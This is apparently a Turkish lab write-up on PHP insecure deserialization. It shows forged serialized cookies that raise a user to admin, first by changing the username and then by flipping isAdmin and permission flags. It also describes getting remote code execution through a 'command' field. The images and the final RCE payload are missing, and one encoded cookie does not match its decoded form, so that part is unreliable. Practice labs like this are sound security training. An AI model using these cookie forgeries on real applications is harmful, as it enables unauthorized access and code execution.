• Serialization (Serileştirme): Bir nesnenin veya verinin bellekteki halini, taşınabilir bir formata (JSON, XML, binary vb.) dönüştürme işlemidir. Bu sayede veri dosyaya yazılabilir, ağ üzerinden gönderilebilir veya cache'de saklanabilir.
  • Deserialization (Serileştirmeyi Açma): Serileştirilmiş veriyi tekrar orijinal nesne haline getirme işlemidir.

⚠️ Zafiyetin Ortaya Çıkışı

  • Eğer uygulama kullanıcıdan gelen veriyi doğrudan deserialize ederse ve bu veriyi doğrulamazsa, saldırgan kendi hazırladığı zararlı veriyi sisteme gönderebilir.
  • Bu durumda uygulama saldırganın oluşturduğu nesneyi çalıştırır ve beklenmedik davranışlar ortaya çıkar.

Labın Amacı, cookie içinde serialize edilmiş bir nesneyi manipüle ederek admin yetkisi kazanmak.

Lab Ortamını Tanıma

None

1. Login ve Cookie İncelemesi

  • İlk olarak normal kullanıcı bilgileriyle giriş yapıldı.
  • Tarayıcıda iki cookie oluştu: PHPSESSID ve user.
  • user cookie'si dikkat çekiciydi çünkü uzun bir base64 string içeriyordu.
None

2. Cookie Decode

Cookie base64 decode edildiğinde serialized bir obje ortaya çıktı. Örneğin:

Kod

O:4:"user":2:{s:8:"username";s:4:"test";s:8:"password";s:4:"test";}

Burada username alanı oturum açan kullanıcıyı temsil ediyordu.

3. Manipülasyon

CyberChef gibi bir araç kullanılarak serialized objede username değeri admin olarak değiştirildi:

Kod

O:4:"user":2:{s:8:"username";s:5:"admin";s:8:"password";s:4:"test";}

Ardından tekrar base64 ile encode edilerek yeni cookie elde edildi:

Kod

Tzo0OiJ1c2VyIjoxOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjQ6InRlc3Q7fQ==

4. Cookie Yeniden Gönderimi

Burp Suite üzerinden bu yeni cookie HTTP isteğine eklendi. Sunucu deserialize işlemini yaptı ve username alanını doğrudan kabul etti.

None

Sonuç: "Welcome admin!" mesajı ile admin paneline erişim sağlandı.

Admin Account v2

Cookie Analizi

Cookie içeriği şu şekildeydi:

None
TyUzQTQlM0ElMjJVc2VyJTIyJTNBMyUzQSU3QnMlM0E4JTNBJTIydXNlcm5hbWUlMjIlM0JzJTNBMzIlM0ElMjIwOThmNmJjZDQ2MjFkMzczY2FkZTRlODMyNjI3YjRmNiUyMiUzQnMlM0E4JTNBJTIycGFzc3dvcmQlMjIlM0JzJTNBMzIlM0ElMjIwOThmNmJjZDQ2MjFkMzczY2FkZTRlODMyNjI3YjRmNiUyMiUzQnMlM0E3JTNBJTIyaXNBZG1pbiUyMiUzQmklM0EwJTNCJTdE;

CyberChef ile decode edildiğinde şu obje ortaya çıktı:

None

Hash Çözümü

username ve password alanlarının değerleri MD5 hash olarak saklanmıştı. Online MD5 decrypter kullanılarak çözüldü:

  • 098f6bcd4621d373cade4e832627b4f6test

Yani aslında kullanıcı adı ve şifre test idi.

Manipülasyon

Objede isAdmin alanı 0 olarak set edilmişti. Bu alanı 1 olarak değiştirdik:

php

O:4:"User":3:{
  s:8:"username";s:32:"098f6bcd4621d373cade4e832627b4f6";
  s:8:"password";s:32:"098f6bcd4621d373cade4e832627b4f6";
  s:7:"isAdmin";i:1;
}

Ardından tekrar base64 encode edilerek cookie'ye yazıldı.

Exploit

Yeni cookie ile istek gönderildiğinde uygulama deserialize işlemini yaptı ve isAdmin=1 olduğu için admin yetkisi verdi. Sayfada "Welcome Admin" mesajı görüldü.

None

Full priviliges

None

Login sonrasi oluşan cookie şu şekilde:

None

Cookie Decode

Base64 decode edildiğinde şu serialized obje ortaya çıktı:

php

O:4:"User":4:{
  s:8:"username";s:32:"098f6bcd4621d373cade4e832627b4f6";
  s:8:"password";s:32:"098f6bcd4621d373cade4e832627b4f6";
  s:7:"isAdmin";i:0;
  s:11:"permissions";O:10:"Permission":3:{
    s:9:"canDelete";i:0;
    s:9:"canUpdate";i:0;
    s:6:"canAdd";i:0;
  }
}

Burada gördüğümüz şey:

  • username ve password alanları MD5 hash olarak tutulmuş (098f6bcd4621d373cade4e832627b4f6test).
  • isAdmin alanı 0 yani admin değil.
  • permissions objesi içinde tüm yetkiler kapalı (canDelete=0, canUpdate=0, canAdd=0).

Hash Çözümü

MD5 hash çözülerek username = test, password = test olduğu anlaşıldı. Bu, sistemin kullanıcı doğrulamasını hash üzerinden yaptığını gösteriyor.

Yetki Alanları

Objede isAdmin=0 ve permissions alanında tüm yetkiler kapalıydı. Bu, kullanıcının normal bir user olduğunu gösteriyordu.

Manipülasyon

Objeyi düzenleyerek isAdmin=1 ve permissions alanındaki tüm yetkileri aktif hale getirdik:

php

O:4:"User":4:{
  s:8:"username";s:32:"098f6bcd4621d373cade4e832627b4f6";
  s:8:"password";s:32:"098f6bcd4621d373cade4e832627b4f6";
  s:7:"isAdmin";i:1;
  s:11:"permissions";O:10:"Permission":3:{
    s:9:"canDelete";i:1;
    s:9:"canUpdate";i:1;
    s:6:"canAdd";i:1;
  }
}

Ardından tekrar base64 encode edilerek cookie'ye yazıldı.

5. Exploit

Yeni cookie ile istek gönderildiğinde uygulama deserialize işlemini yaptı ve isAdmin=1 olduğu için admin yetkisi verdi. Ayrıca permissions alanı sayesinde tüm kullanıcı işlemleri (ekleme, silme, güncelleme) aktif hale geldi.

None

Random Nick Generator

None

İlk İzlenimler

  • Web arayüzünde kullanıcıya rastgele nick üreten bir sayfa var.
  • Bazı üretilen nickler sadece basit stringlerden oluşurken, bazıları uid=33(www-data) ve gid=33(www-data) gibi sistem bilgilerini sızdırıyor.

Burp Suite ile Trafik Analizi

Burp Suite üzerinden yakalanan GET isteği:

Kod

GET /lab/insecure-deserialization/random-nick-generator/index.php HTTP/1.1
Host: localhost:1337
Cookie: Tzo0OiJVc2VyIjo2OntzOjg6InVzZXJuYW1lIjtzOjQ6InRlc3QiO3M6ODoicGFzc3dvcmQiO047czoxNjoiZ2VuZXJhdGVkU3RyaW5ncyI7YTowOnt9czo3OiJjb21tYW5kIjtzOjY6InN5c3RlbSI7czo4OiJmaWxlTmFtZSI7czoxOToicmFuZG9tR2VuZXJhdG9yLnBocCI7czoxMzoiZmlsZUV4dGVuc2lvbiI7czozOiJwaHAiO30%3D

Burada dikkat çeken nokta: Session cookie. İçinde uzun bir encoded string var.

Cookie Decode İşlemi

Cookie'yi URL decode ve Base64 decode ettiğimizde şu çıktı elde ettik:

php

O:4:"User":6:{
  s:8:"username";s:4:"test";
  s:8:"password";N;
  s:16:"generatedStrings";a:0:{}
  s:7:"command";s:6:"system";
  s:8:"fileName";s:19:"randomGenerator.php";
  s:13:"fileExtension";s:3:"php";
}

Yani cookie içinde bir User objesi serialize edilmiş durumda.

Zafiyetin Mantığı

  • Uygulama cookie içindeki serialized objeyi unserialize() ile açıyor.
  • Objede command alanı system olarak set edilmiş.
  • Bu alan manipüle edilirse, unserialize sonrası uygulama farklı komutlar çalıştırabilir.

6. Exploit Adımları

Cookie içindeki command alanını değiştirdik. Örneğin:

None

Cookie'yi yeniden encode edip Burp üzerinden gönderdik.

ve sonuç:

None

Böylece Remote Code Execution (RCE) elde edildi.